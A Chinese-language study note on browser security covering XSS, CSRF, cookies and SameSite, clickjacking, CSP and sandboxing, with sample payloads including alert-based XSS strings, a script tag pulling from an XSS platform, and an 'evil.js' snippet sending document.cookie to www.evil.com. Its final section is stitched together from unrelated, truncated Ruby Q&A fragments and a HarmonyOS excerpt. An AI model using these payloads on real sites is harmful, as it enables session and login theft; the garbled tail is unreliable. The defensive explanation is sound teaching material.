
浏览器是互联网的重要入口,浏览器的作用也越来越被人们所重视。
安全研究的范围已经涵盖了所有用户使用互联网的方式,浏览器正是其中最为重要的一个部分。
2022年度Google Chrome浏览器漏洞披露最多,共计 303 个,其累计漏洞总数达到 3159 个,例如CVE-2022-3318、CVE-2022-3314、CVE-2022-3311、CVE-2022-3309和CVE-2022-3307,这些漏洞均可导致内存损坏。Mozilla Firefox浏览器漏洞居第二,共出现 117 个漏洞;其次是Microsoft Edge,共有漏洞 103 个,相比 2021 年全年新增了61%。
Chrome 浏览器成为了漏洞挖掘者主要目标之一。

通常是指攻击者通过“HTML注入”篡改了网页,插入了恶意 的脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击
攻击类型:反射型(非持久型)XSS、存储型(持久型)XSS、DOM型XSS、通用型XSS、突变型XSS。
其实就是服务器没有对恶意的用户输入进行安全处理就直接反射响应内容,导致恶意代码在浏览器中执行的一种 XSS 漏洞
http://www.a.com/test?param=<script>alert(/xss/)</script>
存储型 XSS 的攻击步骤:
通常出现在博客评论,用户评论,留言板,聊天室,HTML 电子邮件,wikis
<script src=//xsspt.com/ZsgUBf\></script>
通过修改页面的DOM节点形成的XSS,称之为DOM Based XSS。
<html>
<div id="t"></div>
<input type="text" id="text" value="" />
<input type="button" id="s" value="write" onclick="test()" />
<script>
function test() {
var str = document.getElementById("text").value;
document.getElementById("t").innerHTML =
"<a href='" + str + "' >testLink</a>";
}
</script>
</html>
//' onclick=alert(/xss/) //
<a href="" onclick="alert(/xss/)" '="">testLink</a>
//<a href=''><img src=# onerror=alert(/xss2/) / ><'' >testLink</a>
<a href="<a href=" '="">
<img src="#" onerror="alert(/xss2/)">
<'' >testLink</a>


// evil.js
http://www.a.com/test.htm?abc=">
var img = document.createElement("img");
img.src = "http://www.evil.com/ log?"+escape(document.cookie);
document.body.appendChild(img);
服务器evil的日志上就会留下cookie的信息
利用JavaScript在当前页面上“画出”一个伪造的登录框,当用户在登录框中输入用户名与密码后,其密码将被发送至攻击者的服务器上。
蠕虫病毒:蠕虫是一种可以自我复制的代码,并且通过网络传播,通常无需人为干预就能传播。蠕虫病毒入侵并完全控制一台计算机之后,就会把这台机器作为宿主,进而扫描并感染其他计算机。
重要案例
- 在2005年,年仅19岁的Samy Kamkar发起了对MySpace.com的XSS Worm攻击。SamyKamkar的蠕虫在短短几小时内就感染了100万用户——它在每个用户的自我简介 后边加了一句话:“but most of all, Samy is my hero.”(Samy是我的偶像)。这是Web 安全史上第一个重量级的XSSWorm,具有里程碑意义。https://segmentfault.com/a/1190000039654901;分析https://blog.csdn.net/z646683869/article/details/115561856
- 2007年12月,百度空间的用户忽然互相之间开始转发垃圾短消息
- 2011年新浪微博曾被黑客 XSS 攻击,黑客诱导用户点击一个带有诱惑性的链接,便会自动发送一条带有同样诱惑性链接微博。攻击范围层层扩大,也是一种蠕虫攻击。https://www.cnblogs.com/52php/p/5659859.html
内容安全策略是一种 可信白名单 作机制,来限制网站中是否可以包含某来源内容。该制度明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单,它的实现和执行全部由浏览器完成,开发者只需提供配置。
你可以使用 HTTP 头部的Content-Security-Policy 属性来指定你的策略,像这样:
Content-Security-Policy: policy
policy 参数是一个包含了各种描述你的 CSP 策略指令的字符串。
禁止页面的JavaScript访问带有HttpOnly属性的Cookie。
一般是检查用户输入的数据中是否包含一些特殊字符, 如<、>、’、”等。如果发现存在特殊字符,则将这些字符过滤或者编码
var x = 1;alert(2); => var x = 1\\x3balert\\x282\\x29;
CSRF这种攻击方式在2000年已经被国外的安全人员提出,但在国内,直到06年才开始被关注,08年,国内外的多个大型社区和交互网站分别爆出CSRF漏洞,如:NYTimes.com(纽约时报)、Metafilter(一个大型的BLOG网站),YouTube和百度……
而现在,互联网上的许多站点仍对此毫无防备,以至于安全业界称CSRF为“沉睡的巨人”。
CSRF 攻击就是攻击者引诱用户打开攻击者的网站,利用用户的登陆状态发起跨站请求。

浏览器关闭后,Session Cookie就失效。
指设置了过期时间,一段时间内持续保存的Cookie,在一定时间内重新打开浏览器也会存在。
比如访问A网站,为网站 A 及其用户提供服务的组织 B,B设置了一个Cookie,相对于A和浏览器,B的Cookie就是第三方Cookie
IE出于安全考虑,默认禁止了浏览器在<script>、 <link>等标签中发送第三方Cookie。
Firefox的行为。在Firefox中,默认策略是允许发送第三方 Cookie 的
// http://www.b.com/csrf-test.html
<iframe src="http://www.a.com" ></iframe>
// IE: 只能发送出Session Cookie,而Third-party Cookie被禁止了
// firfox: 在Firefox中允许发送 Third-party Cookie
在当前的主流浏览器中,默认会拦截 Third-party Cookie 的有:IE 6、IE 7、IE 8、 Safari;不会拦截的有:Firefox 2、Firefox 3、Opera、GoogleChrome、Android等。
SameSite 可以有下面三种值:
仅允许一方请求携带 Cookie,即浏览器将只发送相同站点请求的 Cookie,即当前网页 URL 与请求目标 URL 完全一致。
允许部分第三方请求携带 Cookie
无论是否跨站都会发送 Cookie 造成现在无法获取cookie是因为之前默认是 None 的,
以前 None 是默认值,但现在的浏览器版本将
Lax作为默认值,以便对某些类型的跨站请求伪造(CSRF)攻击具有相当强的防御能力。Chrome80 后默认是 Lax。浏览器全面禁用三方 Cookie https://segmentfault.com/a/1190000022386152
P3P Header是W3C制定的一项关于隐私的标准,全称The Platform for Privacy Preferenceshttps://zh.wikipedia.org/wiki/隱私權偏好平台
2008年9月,国内的安全组织80sec公布了一个百度的CSRF Worm。
CSRF Worm——让一个百度用户查看恶意页面 后,将给他的所有好友发送一条短消息CSRF攻击的过程,往往是在用户不知情的情况下构造了网络请求。而验证码,则 强制用户必须与应用进行交互,才能完成最终请求。因此在通常情况下,验证码能够很 好地遏制CSRF攻击
Referer Check在互联网中最常见的应用就是“防止图片盗链”。
同理,Referer Check也可以被用于检查请求是否来自合法的“源”。
比如一个“论坛发帖”的操作,在正常情况下需要先登录到用户后台,或者访问有发 帖功能的页面。在提交“发帖”的表单时,Referer的值必然是发帖表单所在的页面。如果 Referer 的值不是这个页面,甚至不是发帖网站的域,则极有可能是CSRF攻击。
在某些情况下,浏览器也不会发送Referer,比如从HTTPS跳转到HTTP,出于安全的考虑,浏览器也不会发送Referer。无法依赖于Referer Check作为防御CSRF的主要手段。但是通过Referer Check来监控CSRF攻击的发生,倒是一种可行的方法。
csrf本质:重要操作的所有参数都是可以被攻击者猜测到的;攻击者只有预测出URL的所有参数与参数值,才能成功地构造一个伪造的请求;反之,攻击者将无法攻击成功。
防御CSRF的Token,是根据“不可预测性原则”设计的方案,所以Token的生成一定要足够随机,需要使用安全的随机数生成器生成Token。
CSRF的Token仅仅用于对抗CSRF攻击,当网站还同时存在XSS漏洞时,这个方案 就会变得无效,因为XSS可以模拟客户端浏览器执行任意操作。在XSS攻击下,攻击者 完全可以请求页面后,读出页面内容里的Token值,然后再构造出一个合法的请求。这个过程可以称之为XSRF,和CSRF以示区分。
Axios 中有两个配置字段xsrfCookieName、xsrfHeaderName
点击劫持,也被称为UI-覆盖攻击,主要是在用户不知情的情况下,做一些操作。

</table>
<a href=”http://www.ph4nt0m.org”>
<img src=”http://img.baidu.com/hi/img/portraitn.jpg”
style=”position:absolute;left:123px;top:123px;“>
</a>

通过编写js防止iframe嵌套,比如 HTML5 中 iframe 的 sandbox 属性、IE中iframe的security属性等,都可以限制 iframe 页面中的 JavaScript 脚本执行,从而可以使得 frame busting失效
X-Frame-Options可以说是为了解决Click-Jacking而生的。
这个响应头是用来给浏览器指示,允许一个页面可否在 <frame>、<embed>或者 <object> 中展现的标记。
站点可以通过确保网站没有被嵌入到别人的站点里面,从而避免点击劫持攻击。
PS:仅当访问文档的用户使用支持 X-Frame-Options 的浏览器时,此附加的安全性才会被提供。
可选值有:DENY(禁止iframe,浏览器拒绝当前页面加载任何iframe页面)、SAMEORIGIN(只允许相同域名下的网页iframe,同源政策保护)和 ALLOW-FROM(白名单限制)。
我们再来介绍下浏览器是怎么保护用户访问安全的。
同源策略是一种约定,它是浏览器最核心也最基本的安全功能,如果缺少了同源策略,则浏览器的正常功能可能都会受到影响。可以说Web是构建在同源策略的基础之上的,浏览器只是针对同源策略的一种实现。
渲染引擎由Sandbox隔离,网页代码要与浏览器内核进程通信、与操作系统通信都需要通过IPCchannel,在其中会进行一些安全检查 。
采用Sandbox技术,无疑可以让不受信任的网页代码、JavaScript代码运行在一个受到限制的环境中,从而保护本地桌面系统的安全。
上节提到了“挂马”攻击方式能够破坏浏览器安全,在很多时候,“挂马”攻击在实施时会在一个正常的网页中通过<script>或者<iframe>等标签加载一个恶意网址。
而除了挂马所加载的恶意网址之外,钓鱼网站、诈骗网站对于用户来说也是一种恶意网址。为了保护用户安全,浏览器厂商纷纷推出了各自的拦截恶意网址功能。
目前各个浏览器的拦截恶意网址的功能都是基于“黑名单”的。
挂马
在网页中插入一段恶意代码,利用浏览器漏洞执行任意代码的攻击方式,在黑 客圈子里被形象地称为“挂马”。“挂马”是浏览器需要面对的一个主要威胁。
XSS攻击,通常指黑客通过“HTML注入”篡改了网页,插入了恶意的脚本,从而在 用户浏览网页时,控制用户浏览器的一种攻击
CSRF攻击是攻击者利用用户的身份操作用户账户的一种攻击方式
点击劫持(ClickJacking)是一种视觉上的欺骗手段。攻击者使用一个透明的、不可见的iframe,覆 盖在一个网页上,然后诱使用户在该网页上进行操作,此时用户将在不知情的情况下点 击透明的iframe页面

大约一年前,我决定确保每个包含非唯一文本的Flash通知都将从模块中的方法中获取文本。我这样做的最初原因是为了避免一遍又一遍地输入相同的字符串。如果我想更改措辞,我可以在一个地方轻松完成,而且一遍又一遍地重复同一件事而出现拼写错误的可能性也会降低。我最终得到的是这样的:moduleMessagesdefformat_error_messages(errors)errors.map{|attribute,message|"Error:#{attribute.to_s.titleize}#{message}."}enddeferror_message_could_not_find(obje
我主要使用Ruby来执行此操作,但到目前为止我的攻击计划如下:使用gemsrdf、rdf-rdfa和rdf-microdata或mida来解析给定任何URI的数据。我认为最好映射到像schema.org这样的统一模式,例如使用这个yaml文件,它试图描述数据词汇表和opengraph到schema.org之间的转换:#SchemaXtoschema.orgconversion#data-vocabularyDV:name:namestreet-address:streetAddressregion:addressRegionlocality:addressLocalityphoto:i
我正在编写一个小脚本来定位aws存储桶中的特定文件,并创建一个临时验证的url以发送给同事。(理想情况下,这将创建类似于在控制台上右键单击存储桶中的文件并复制链接地址的结果)。我研究过回形针,它似乎不符合这个标准,但我可能只是不知道它的全部功能。我尝试了以下方法:defauthenticated_url(file_name,bucket)AWS::S3::S3Object.url_for(file_name,bucket,:secure=>true,:expires=>20*60)end产生这种类型的结果:...-1.amazonaws.com/file_path/file.zip.A
在Ruby中是否有Gem或安全删除文件的方法?我想避免系统上可能不存在的外部程序。“安全删除”指的是覆盖文件内容。 最佳答案 如果您使用的是*nix,一个很好的方法是使用exec/open3/open4调用shred:`shred-fxuz#{filename}`http://www.gnu.org/s/coreutils/manual/html_node/shred-invocation.html检查这个类似的帖子:Writingafileshredderinpythonorruby?
在应用开发中,有时候我们需要获取系统的设备信息,用于数据上报和行为分析。那在鸿蒙系统中,我们应该怎么去获取设备的系统信息呢,比如说获取手机的系统版本号、手机的制造商、手机型号等数据。1、获取方式这里分为两种情况,一种是设备信息的获取,一种是系统信息的获取。1.1、获取设备信息获取设备信息,鸿蒙的SDK包为我们提供了DeviceInfo类,通过该类的一些静态方法,可以获取设备信息,DeviceInfo类的包路径为:ohos.system.DeviceInfo.具体的方法如下:ModifierandTypeMethodDescriptionstatic StringgetAbiList()Obt
我正在使用ruby2.1.0我有一个json文件。例如:test.json{"item":[{"apple":1},{"banana":2}]}用YAML.load加载这个文件安全吗?YAML.load(File.read('test.json'))我正在尝试加载一个json或yaml格式的文件。 最佳答案 YAML可以加载JSONYAML.load('{"something":"test","other":4}')=>{"something"=>"test","other"=>4}JSON将无法加载YAML。JSON.load("
我遇到了这个奇怪的错误.../Users/gideon/Documents/ca_ruby/rubytactoe/lib/player.rb:13:in`gets':Isadirectory-spec(Errno::EISDIR)player_spec.rb:require_relative'../spec_helper'#theuniverseisvastandinfinite...itcontainsagame....butnoplayersdescribe"tictactoegame"docontext"theplayerclass"doit"musthaveahumanplay
我正在使用Ruby/Mechanize编写一个“自动填写表格”应用程序。它几乎可以工作。我可以使用精彩CharlesWeb代理以查看服务器和我的Firefox浏览器之间的交换。现在我想使用Charles查看服务器和我的应用程序之间的交换。Charles在端口8888上代理。假设服务器位于https://my.host.com。.一件不起作用的事情是:@agent||=Mechanize.newdo|agent|agent.set_proxy("my.host.com",8888)end这会导致Net::HTTP::Persistent::Error:...lib/net/http/pe
默认情况下:回形针gem将所有附件存储在公共(public)目录中。出于安全原因,我不想将附件存储在公共(public)目录中,所以我将它们保存在应用程序根目录的uploads目录中:classPost我没有指定url选项,因为我不希望每个图像附件都有一个url。如果指定了url:那么拥有该url的任何人都可以访问该图像。这是不安全的。在user#show页面中:我想实际显示图像。如果我使用所有回形针默认设置,那么我可以这样做,因为图像将在公共(public)目录中并且图像将具有一个url:Someimage:看来,如果我将图像附件保存在公共(public)目录之外并且不指定url(同
我有两个文本文件,master.txt和926.txt。如果926.txt中有一行不在master.txt中,我想写入一个新文件notinbook.txt。我写了我能想到的最好的东西,但考虑到我是一个糟糕的/新手程序员,它失败了。这是我的东西g=File.new("notinbook.txt","w")File.open("926.txt","r")do|f|while(line=f.gets)x=line.chompifFile.open("master.txt","w")do|h|endwhile(line=h.gets)ifline.chomp!=xputslineendende